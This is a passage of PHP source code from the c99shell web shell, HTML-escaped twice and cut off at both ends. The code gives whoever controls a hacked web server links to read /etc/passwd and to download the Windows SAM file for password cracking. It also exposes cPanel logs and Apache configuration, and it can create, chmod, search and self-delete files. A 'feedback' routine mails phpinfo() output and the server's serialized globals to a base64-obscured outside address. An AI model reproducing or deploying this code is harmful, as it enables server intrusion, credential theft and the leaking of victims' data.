     $uid[&amp;quot;dir&amp;quot;] = &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=ls&amp;amp;d=&amp;quot;.urlencode($uid[&amp;quot;dir&amp;quot;]).&amp;quot;\&amp;quot;&amp;gt;&amp;quot;.$uid[&amp;quot;dir&amp;quot;].&amp;quot;&amp;lt;/a&amp;gt;&amp;quot;;&lt;br /&gt;
     echo join(&amp;quot;:&amp;quot;,$uid).&amp;quot;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
    }&lt;br /&gt;
    $i++;&lt;br /&gt;
   }&lt;br /&gt;
  }&lt;br /&gt;
  else {echo &amp;quot;&amp;lt;br&amp;gt;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=security&amp;amp;nixpasswd=1&amp;amp;d=&amp;quot;.$ud.&amp;quot;\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;u&amp;gt;Get /etc/passwd&amp;lt;/u&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
 }&lt;br /&gt;
 else&lt;br /&gt;
 {&lt;br /&gt;
  $v = $_SERVER[&amp;quot;WINDIR&amp;quot;].&amp;quot;\repair\sam&amp;quot;;&lt;br /&gt;
  if (file_get_contents($v)) {echo &amp;quot;&amp;lt;b&amp;gt;&amp;lt;font color=\&amp;quot;red\&amp;quot;&amp;gt;You can't crack winnt passwords(&amp;quot;.$v.&amp;quot;) &amp;lt;/font&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
  else {echo &amp;quot;&amp;lt;b&amp;gt;&amp;lt;font color=\&amp;quot;green\&amp;quot;&amp;gt;You can crack winnt passwords. &amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=sam&amp;amp;d=&amp;quot;.$_SERVER[&amp;quot;WINDIR&amp;quot;].&amp;quot;\\repair&amp;amp;ft=download\&amp;quot;&amp;gt;&amp;lt;u&amp;gt;&amp;lt;b&amp;gt;Download&amp;lt;/b&amp;gt;&amp;lt;/u&amp;gt;&amp;lt;/a&amp;gt;, and use lcp.crack+ ©.&amp;lt;/font&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
 }&lt;br /&gt;
 if (file_get_contents(&amp;quot;/etc/userdomains&amp;quot;)) {echo &amp;quot;&amp;lt;b&amp;gt;&amp;lt;font color=\&amp;quot;green\&amp;quot;&amp;gt;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=userdomains&amp;amp;d=/etc/&amp;amp;ft=txt\&amp;quot;&amp;gt;&amp;lt;u&amp;gt;&amp;lt;b&amp;gt;View cpanel user-domains logs&amp;lt;/b&amp;gt;&amp;lt;/u&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
 if (file_get_contents(&amp;quot;/var/cpanel/accounting.log&amp;quot;)) {echo &amp;quot;&amp;lt;b&amp;gt;&amp;lt;font color=\&amp;quot;green\&amp;quot;&amp;gt;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=accounting.log&amp;amp;d=/var/cpanel/&amp;amp;ft=txt\&amp;quot;&amp;gt;&amp;lt;u&amp;gt;&amp;lt;b&amp;gt;View cpanel logs&amp;lt;/b&amp;gt;&amp;lt;/u&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
 if (file_get_contents(&amp;quot;/usr/local/apache/conf/httpd.conf&amp;quot;)) {echo &amp;quot;&amp;lt;b&amp;gt;&amp;lt;font color=\&amp;quot;green\&amp;quot;&amp;gt;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=httpd.conf&amp;amp;d=/usr/local/apache/conf/&amp;amp;ft=txt\&amp;quot;&amp;gt;&amp;lt;u&amp;gt;&amp;lt;b&amp;gt;Apache configuration (httpd.conf)&amp;lt;/b&amp;gt;&amp;lt;/u&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
 if (file_get_contents(&amp;quot;/etc/httpd.conf&amp;quot;)) {echo &amp;quot;&amp;lt;b&amp;gt;&amp;lt;font color=\&amp;quot;green\&amp;quot;&amp;gt;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=httpd.conf&amp;amp;d=/etc/&amp;amp;ft=txt\&amp;quot;&amp;gt;&amp;lt;u&amp;gt;&amp;lt;b&amp;gt;Apache configuration (httpd.conf)&amp;lt;/b&amp;gt;&amp;lt;/u&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;mkfile&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 if ($mkfile != $d)&lt;br /&gt;
 {&lt;br /&gt;
  if (file_exists($mkfile)) {echo &amp;quot;&amp;lt;b&amp;gt;Make File \&amp;quot;&amp;quot;.htmlspecialchars($mkfile).&amp;quot;\&amp;quot;&amp;lt;/b&amp;gt;: object alredy exists&amp;quot;;}&lt;br /&gt;
  elseif (!fopen($mkfile,&amp;quot;w&amp;quot;)) {echo &amp;quot;&amp;lt;b&amp;gt;Make File \&amp;quot;&amp;quot;.htmlspecialchars($mkfile).&amp;quot;\&amp;quot;&amp;lt;/b&amp;gt;: access denied&amp;quot;;}&lt;br /&gt;
  else {$act = &amp;quot;f&amp;quot;; $d = dirname($mkfile); if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}&lt;br /&gt;
 }&lt;br /&gt;
 else {$act = $dspact = &amp;quot;ls&amp;quot;;}&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;encoder&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 echo &amp;quot;&amp;lt;script&amp;gt;function set_encoder_input(text) {document.forms.encoder.input.value = text;}&amp;lt;/script&amp;gt;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Encoder:&amp;lt;/b&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;form name=\&amp;quot;encoder\&amp;quot; method=\&amp;quot;POST\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Input:&amp;lt;/b&amp;gt;&amp;lt;center&amp;gt;&amp;lt;textarea name=\&amp;quot;encoder_input\&amp;quot; id=\&amp;quot;input\&amp;quot; cols=50 rows=5&amp;gt;&amp;quot;.@htmlspecialchars($encoder_input).&amp;quot;&amp;lt;/textarea&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input type=submit value=\&amp;quot;calculate\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;b&amp;gt;Hashes&amp;lt;/b&amp;gt;:&amp;lt;br&amp;gt;&amp;lt;center&amp;gt;&amp;quot;;&lt;br /&gt;
 foreach(array(&amp;quot;md5&amp;quot;,&amp;quot;crypt&amp;quot;,&amp;quot;sha1&amp;quot;,&amp;quot;crc32&amp;quot;) as $v)&lt;br /&gt;
 {&lt;br /&gt;
  echo $v.&amp;quot; - &amp;lt;input type=text size=50 onFocus=\&amp;quot;this.select()\&amp;quot; onMouseover=\&amp;quot;this.select()\&amp;quot; onMouseout=\&amp;quot;this.select()\&amp;quot; value=\&amp;quot;&amp;quot;.$v($encoder_input).&amp;quot;\&amp;quot; readonly&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
 echo &amp;quot;&amp;lt;/center&amp;gt;&amp;lt;b&amp;gt;Url:&amp;lt;/b&amp;gt;&amp;lt;center&amp;gt;&amp;lt;br&amp;gt;urlencode - &amp;lt;input type=text size=35 onFocus=\&amp;quot;this.select()\&amp;quot; onMouseover=\&amp;quot;this.select()\&amp;quot; onMouseout=\&amp;quot;this.select()\&amp;quot; value=\&amp;quot;&amp;quot;.urlencode($encoder_input).&amp;quot;\&amp;quot; readonly&amp;gt;&lt;br /&gt;
 &amp;lt;br&amp;gt;urldecode - &amp;lt;input type=text size=35 onFocus=\&amp;quot;this.select()\&amp;quot; onMouseover=\&amp;quot;this.select()\&amp;quot; onMouseout=\&amp;quot;this.select()\&amp;quot; value=\&amp;quot;&amp;quot;.urldecode($encoder_input).&amp;quot;\&amp;quot; readonly&amp;gt;&lt;br /&gt;
 &amp;lt;br&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;b&amp;gt;Base64:&amp;lt;/b&amp;gt;&amp;lt;center&amp;gt;base64_encode - &amp;lt;input type=text size=35 onFocus=\&amp;quot;this.select()\&amp;quot; onMouseover=\&amp;quot;this.select()\&amp;quot; onMouseout=\&amp;quot;this.select()\&amp;quot; value=\&amp;quot;&amp;quot;.base64_encode($encoder_input).&amp;quot;\&amp;quot; readonly&amp;gt;&amp;lt;/center&amp;gt;&amp;quot;;&lt;br /&gt;
 echo &amp;quot;&amp;lt;center&amp;gt;base64_decode - &amp;quot;;&lt;br /&gt;
 if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo &amp;quot;&amp;lt;input type=text size=35 value=\&amp;quot;failed\&amp;quot; disabled readonly&amp;gt;&amp;quot;;}&lt;br /&gt;
 else&lt;br /&gt;
 {&lt;br /&gt;
  $debase64 = base64_decode($encoder_input);&lt;br /&gt;
  $debase64 = str_replace(&amp;quot;\0&amp;quot;,&amp;quot;[0]&amp;quot;,$debase64);&lt;br /&gt;
  $a = explode(&amp;quot;\r\n&amp;quot;,$debase64);&lt;br /&gt;
  $rows = count($a);&lt;br /&gt;
  $debase64 = htmlspecialchars($debase64);&lt;br /&gt;
  if ($rows == 1) {echo &amp;quot;&amp;lt;input type=text size=35 onFocus=\&amp;quot;this.select()\&amp;quot; onMouseover=\&amp;quot;this.select()\&amp;quot; onMouseout=\&amp;quot;this.select()\&amp;quot; value=\&amp;quot;&amp;quot;.$debase64.&amp;quot;\&amp;quot; id=\&amp;quot;debase64\&amp;quot; readonly&amp;gt;&amp;quot;;}&lt;br /&gt;
  else {$rows++; echo &amp;quot;&amp;lt;textarea cols=\&amp;quot;40\&amp;quot; rows=\&amp;quot;&amp;quot;.$rows.&amp;quot;\&amp;quot; onFocus=\&amp;quot;this.select()\&amp;quot; onMouseover=\&amp;quot;this.select()\&amp;quot; onMouseout=\&amp;quot;this.select()\&amp;quot; id=\&amp;quot;debase64\&amp;quot; readonly&amp;gt;&amp;quot;.$debase64.&amp;quot;&amp;lt;/textarea&amp;gt;&amp;quot;;}&lt;br /&gt;
  echo &amp;quot;&amp;amp;nbsp;&amp;lt;a href=\&amp;quot;#\&amp;quot; onclick=\&amp;quot;set_encoder_input(document.forms.encoder.debase64.value)\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;^&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
 echo &amp;quot;&amp;lt;/center&amp;gt;&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Base convertations&amp;lt;/b&amp;gt;:&amp;lt;center&amp;gt;dec2hex - &amp;lt;input type=text size=35 onFocus=\&amp;quot;this.select()\&amp;quot; onMouseover=\&amp;quot;this.select()\&amp;quot; onMouseout=\&amp;quot;this.select()\&amp;quot; value=\&amp;quot;&amp;quot;;&lt;br /&gt;
 $c = strlen($encoder_input);&lt;br /&gt;
 for($i=0;$i&amp;lt;$c;$i++)&lt;br /&gt;
 {&lt;br /&gt;
  $hex = dechex(ord($encoder_input[$i]));&lt;br /&gt;
  if ($encoder_input[$i] == &amp;quot;&amp;amp;&amp;quot;) {echo $encoder_input[$i];}&lt;br /&gt;
  elseif ($encoder_input[$i] != &amp;quot;\\&amp;quot;) {echo &amp;quot;%&amp;quot;.$hex;}&lt;br /&gt;
 }&lt;br /&gt;
 echo &amp;quot;\&amp;quot; readonly&amp;gt;&amp;lt;br&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;/form&amp;gt;&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;fsbuff&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 $arr_copy = $sess_data[&amp;quot;copy&amp;quot;];&lt;br /&gt;
 $arr_cut = $sess_data[&amp;quot;cut&amp;quot;];&lt;br /&gt;
 $arr = array_merge($arr_copy,$arr_cut);&lt;br /&gt;
 if (count($arr) == 0) {echo &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Buffer is empty!&amp;lt;/b&amp;gt;&amp;lt;/center&amp;gt;&amp;quot;;}&lt;br /&gt;
 else {echo &amp;quot;&amp;lt;b&amp;gt;File-System buffer&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;quot;; $ls_arr = $arr; $disp_fullpath = true; $act = &amp;quot;ls&amp;quot;;}&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;selfremove&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 if (($submit == $rndcode) and ($submit != &amp;quot;&amp;quot;))&lt;br /&gt;
 {&lt;br /&gt;
  if (unlink(__FILE__)) {@ob_clean(); echo &amp;quot;Thanks for using c99shell v.&amp;quot;.$shver.&amp;quot;!&amp;quot;; exit; }&lt;br /&gt;
  else {echo &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Can't delete &amp;quot;.__FILE__.&amp;quot;!&amp;lt;/b&amp;gt;&amp;lt;/center&amp;gt;&amp;quot;;}&lt;br /&gt;
 }&lt;br /&gt;
 else&lt;br /&gt;
 {&lt;br /&gt;
  if (!empty($rndcode)) {echo &amp;quot;&amp;lt;b&amp;gt;Error: incorrect confimation!&amp;lt;/b&amp;gt;&amp;quot;;}&lt;br /&gt;
  $rnd = rand(0,9).rand(0,9).rand(0,9);&lt;br /&gt;
  echo &amp;quot;&amp;lt;form method=\&amp;quot;POST\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Self-remove: &amp;quot;.__FILE__.&amp;quot; &amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Are you sure?&amp;lt;br&amp;gt;For confirmation, enter \&amp;quot;&amp;quot;.$rnd.&amp;quot;\&amp;quot;&amp;lt;/b&amp;gt;:&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;rndcode\&amp;quot; value=\&amp;quot;&amp;quot;.$rnd.&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;text\&amp;quot; name=\&amp;quot;submit\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;submit\&amp;quot; value=\&amp;quot;YES\&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;feedback&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 $suppmail = base64_decode(&amp;quot;Yzk5c2hlbGxAaW5ib3gucnU=&amp;quot;);&lt;br /&gt;
 if (!empty($submit))&lt;br /&gt;
 {&lt;br /&gt;
  $ticket = substr(md5(microtime()+rand(1,1000)),0,6);&lt;br /&gt;
  $body = &amp;quot;c99shell v.&amp;quot;.$shver.&amp;quot; feedback #&amp;quot;.$ticket.&amp;quot;\nName: &amp;quot;.htmlspecialchars($fdbk_name).&amp;quot;\nE-mail: &amp;quot;.htmlspecialchars($fdbk_email).&amp;quot;\nMessage:\n&amp;quot;.htmlspecialchars($fdbk_body).&amp;quot;\n\nIP: &amp;quot;.$REMOTE_ADDR;&lt;br /&gt;
  if (!empty($fdbk_ref))&lt;br /&gt;
  {&lt;br /&gt;
   $tmp = @ob_get_contents();&lt;br /&gt;
   ob_clean();&lt;br /&gt;
   phpinfo();&lt;br /&gt;
   $phpinfo = base64_encode(ob_get_contents());&lt;br /&gt;
   ob_clean();&lt;br /&gt;
   echo $tmp;&lt;br /&gt;
   $body .= &amp;quot;\n&amp;quot;.&amp;quot;phpinfo(): &amp;quot;.$phpinfo.&amp;quot;\n&amp;quot;.&amp;quot;\$GLOBALS=&amp;quot;.base64_encode(serialize($GLOBALS)).&amp;quot;\n&amp;quot;;&lt;br /&gt;
  }&lt;br /&gt;
  mail($suppmail,&amp;quot;c99shell v.&amp;quot;.$shver.&amp;quot; feedback #&amp;quot;.$ticket,$body,&amp;quot;FROM: &amp;quot;.$suppmail);&lt;br /&gt;
  echo &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Thanks for your feedback! Your ticket ID: &amp;quot;.$ticket.&amp;quot;.&amp;lt;/b&amp;gt;&amp;lt;/center&amp;gt;&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
 else {echo &amp;quot;&amp;lt;form method=\&amp;quot;POST\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Feedback or report bug (&amp;quot;.str_replace(array(&amp;quot;@&amp;quot;,&amp;quot;.&amp;quot;),array(&amp;quot;[at]&amp;quot;,&amp;quot;[dot]&amp;quot;),$suppmail).&amp;quot;):&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;Your name: &amp;lt;input type=\&amp;quot;text\&amp;quot; name=\&amp;quot;fdbk_name\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($fdbk_name).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;Your e-mail: &amp;lt;input type=\&amp;quot;text\&amp;quot; name=\&amp;quot;fdbk_email\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($fdbk_email).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;Message:&amp;lt;br&amp;gt;&amp;lt;textarea name=\&amp;quot;fdbk_body\&amp;quot; cols=80 rows=10&amp;gt;&amp;quot;.htmlspecialchars($fdbk_body).&amp;quot;&amp;lt;/textarea&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;fdbk_ref\&amp;quot; value=\&amp;quot;&amp;quot;.urlencode($HTTP_REFERER).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;Attach server-info * &amp;lt;input type=\&amp;quot;checkbox\&amp;quot; name=\&amp;quot;fdbk_servinf\&amp;quot; value=\&amp;quot;1\&amp;quot; checked&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;There are no checking in the form.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;* - strongly recommended, if you report bug, because we need it for bug-fix.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;We understand languages: English, Russian.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input type=\&amp;quot;submit\&amp;quot; name=\&amp;quot;submit\&amp;quot; value=\&amp;quot;Send\&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;quot;;}&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;search&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 echo &amp;quot;&amp;lt;b&amp;gt;Search in file-system:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
 if (empty($search_in)) {$search_in = $d;}&lt;br /&gt;
 if (empty($search_name)) {$search_name = &amp;quot;(.*)&amp;quot;; $search_name_regexp = 1;}&lt;br /&gt;
 if (empty($search_text_wwo)) {$search_text_regexp = 0;}&lt;br /&gt;
 if (!empty($submit))&lt;br /&gt;
 {&lt;br /&gt;
  $found = array();&lt;br /&gt;
  $found_d = 0;&lt;br /&gt;
  $found_f = 0;&lt;br /&gt;
  $search_i_f = 0;&lt;br /&gt;
  $search_i_d = 0;&lt;br /&gt;
  $a = array&lt;br /&gt;
  (&lt;br /&gt;
   &amp;quot;name&amp;quot;=&amp;gt;$search_name, &amp;quot;name_regexp&amp;quot;=&amp;gt;$search_name_regexp,&lt;br /&gt;
   &amp;quot;text&amp;quot;=&amp;gt;$search_text, &amp;quot;text_regexp&amp;quot;=&amp;gt;$search_text_regxp,&lt;br /&gt;
   &amp;quot;text_wwo&amp;quot;=&amp;gt;$search_text_wwo,&lt;br /&gt;
   &amp;quot;text_cs&amp;quot;=&amp;gt;$search_text_cs,&lt;br /&gt;
   &amp;quot;text_not&amp;quot;=&amp;gt;$search_text_not&lt;br /&gt;
  );&lt;br /&gt;
  $searchtime = getmicrotime();&lt;br /&gt;
  $in = array_unique(explode(&amp;quot;;&amp;quot;,$search_in));&lt;br /&gt;
  foreach($in as $v) {c99fsearch($v);}&lt;br /&gt;
  $searchtime = round(getmicrotime()-$searchtime,4);&lt;br /&gt;
  if (count($found) == 0) {echo &amp;quot;&amp;lt;b&amp;gt;No files found!&amp;lt;/b&amp;gt;&amp;quot;;}&lt;br /&gt;
  else&lt;br /&gt;
  {&lt;br /&gt;
   $ls_arr = $found;&lt;br /&gt;
   $disp_fullpath = true;&lt;br /&gt;
   $act = &amp;quot;ls&amp;quot;;&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
 echo &amp;quot;&amp;lt;form method=\&amp;quot;POST\&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;d\&amp;quot; value=\&amp;quot;&amp;quot;.$dispd.&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;act\&amp;quot; value=\&amp;quot;&amp;quot;.$dspact.&amp;quot;\&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;Search for (file/directory name): &amp;lt;/b&amp;gt;&amp;lt;input type=\&amp;quot;text\&amp;quot; name=\&amp;quot;search_name\&amp;quot; size=\&amp;quot;&amp;quot;.round(strlen($search_name)+25).&amp;quot;\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($search_name).&amp;quot;\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;checkbox\&amp;quot; name=\&amp;quot;search_name_regexp\&amp;quot; value=\&amp;quot;1\&amp;quot; &amp;quot;.gchds($search_name_regexp,1,&amp;quot; checked&amp;quot;).&amp;quot;&amp;gt; - regexp&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Search in (explode \&amp;quot;;\&amp;quot;): &amp;lt;/b&amp;gt;&amp;lt;input type=\&amp;quot;text\&amp;quot; name=\&amp;quot;search_in\&amp;quot; size=\&amp;quot;&amp;quot;.round(strlen($search_in)+25).&amp;quot;\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($search_in).&amp;quot;\&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Text:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;textarea name=\&amp;quot;search_text\&amp;quot; cols=\&amp;quot;122\&amp;quot; rows=\&amp;quot;10\&amp;quot;&amp;gt;&amp;quot;.htmlspecialchars($search_text).&amp;quot;&amp;lt;/textarea&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input type=\&amp;quot;checkbox\&amp;quot; name=\&amp;quot;search_text_regexp\&amp;quot; value=\&amp;quot;1\&amp;quot; &amp;quot;.gchds($search_text_regexp,1,&amp;quot; checked&amp;quot;).&amp;quot;&amp;gt; - regexp&lt;br /&gt;
&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;checkbox\&amp;quot; name=\&amp;quot;search_text_wwo\&amp;quot; value=\&amp;quot;1\&amp;quot; &amp;quot;.gchds($search_text_wwo,1,&amp;quot; checked&amp;quot;).&amp;quot;&amp;gt; - &amp;lt;u&amp;gt;w&amp;lt;/u&amp;gt;hole words only&lt;br /&gt;
&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;checkbox\&amp;quot; name=\&amp;quot;search_text_cs\&amp;quot; value=\&amp;quot;1\&amp;quot; &amp;quot;.gchds($search_text_cs,1,&amp;quot; checked&amp;quot;).&amp;quot;&amp;gt; - cas&amp;lt;u&amp;gt;e&amp;lt;/u&amp;gt; sensitive&lt;br /&gt;
&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;checkbox\&amp;quot; name=\&amp;quot;search_text_not\&amp;quot; value=\&amp;quot;1\&amp;quot; &amp;quot;.gchds($search_text_not,1,&amp;quot; checked&amp;quot;).&amp;quot;&amp;gt; - find files &amp;lt;u&amp;gt;NOT&amp;lt;/u&amp;gt; containing the text&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input type=\&amp;quot;submit\&amp;quot; name=\&amp;quot;submit\&amp;quot; value=\&amp;quot;Search\&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;quot;;&lt;br /&gt;
 if ($act == &amp;quot;ls&amp;quot;) {$dspact = $act; echo &amp;quot;&amp;lt;hr size=\&amp;quot;1\&amp;quot; noshade&amp;gt;&amp;lt;b&amp;gt;Search took &amp;quot;.$searchtime.&amp;quot; secs (&amp;quot;.$search_i_f.&amp;quot; files and &amp;quot;.$search_i_d.&amp;quot; directories, &amp;quot;.round(($search_i_f+$search_i_d)/$searchtime,4).&amp;quot; objects per second).&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;chmod&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 $mode = fileperms($d.$f);&lt;br /&gt;
 if (!$mode) {echo &amp;quot;&amp;lt;b&amp;gt;Change file-mode with error:&amp;lt;/b&amp;gt; can't get current value.&amp;quot;;}&lt;br /&gt;
 else&lt;br /&gt;
 {&lt;br /&gt;
  $form = true;&lt;br /&gt;
  if ($chmod_submit)&lt;br /&gt;
  {&lt;br /&gt;
   $octet = &amp;quot;0&amp;quot;.base_convert(($chmod_o[&amp;quot;r&amp;quot;]?1:0).($chmod_o[&amp;quot;w&amp;quot;]?1:0).($chmod_o[&amp;quot;x&amp;quot;]?1:0).($chmod_g[&amp;quot;r&amp;quot;]?1:0).($chmod_g[&amp;quot;w&amp;quot;]?1:0).($chmod_g[&amp;quot;x&amp;quot;]?1:0).($chmod_w[&amp;quot;r&amp;quot;]?1:0).($chmod_w[&amp;quot;w&amp;quot;]?1:0).($chmod_w[&amp;quot;x&amp;quot;]?1:0),2,8);&lt;br /&gt;
   if (chmod($d.$f,$octet)) {$act = &amp;quot;ls&amp;quot;; $form = false; $err = &amp;quot;&amp;quot;;}&lt;br /&gt;
   else {$err = &amp;quot;Can't chmod to &amp;quot;.$octet.&amp;quot;.&amp;quot;;}&lt;br /&gt;
  }&lt;br /&gt;
  if ($form)&lt;br /&gt;
  {&lt;br /&gt;
   $perms = parse_perms($mode);&lt;br /&gt;
   echo &amp;quot;&amp;lt;b&amp;gt;Changing file-mode (&amp;quot;.$d.$f.&amp;quot;), &amp;quot;.view_perms_color($d.$f).&amp;quot; (&amp;quot;.substr(decoct(fileperms($d.$f)),-4,4).&amp;quot;)&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;.($err?&amp;quot;&amp;lt;b&amp;gt;Error:&amp;lt;/b&amp;gt; &amp;quot;.$err:&amp;quot;&amp;quot;).&amp;quot;&amp;lt;form action=\&amp;quot;&amp;quot;.htmlspecialchars($surl).&amp;quot;\&amp;quot; method=\&amp;quot;POST\&amp;quot;&amp;gt;&amp;lt;input type=hidden name=d value=\&amp;quot;&amp;quot;.htmlspecialchars($d).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=hidden name=f value=\&amp;quot;&amp;quot;.htmlspecialchars($f).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=hidden name=act value=chmod&amp;gt;&amp;lt;table align=left width=300 border=0 cellspacing=0 cellpadding=5&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Owner&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input type=checkbox NAME=chmod_o[r] value=1&amp;quot;.($perms[&amp;quot;o&amp;quot;][&amp;quot;r&amp;quot;]?&amp;quot; checked&amp;quot;:&amp;quot;&amp;quot;).&amp;quot;&amp;gt;&amp;amp;nbsp;Read&amp;lt;br&amp;gt;&amp;lt;input type=checkbox name=chmod_o[w] value=1&amp;quot;.($perms[&amp;quot;o&amp;quot;][&amp;quot;w&amp;quot;]?&amp;quot; checked&amp;quot;:&amp;quot;&amp;quot;).&amp;quot;&amp;gt;&amp;amp;nbsp;Write&amp;lt;br&amp;gt;&amp;lt;input type=checkbox NAME=chmod_o[x] value=1&amp;quot;.($perms[&amp;quot;o&amp;quot;][&amp;quot;x&amp;quot;]?&amp;quot; 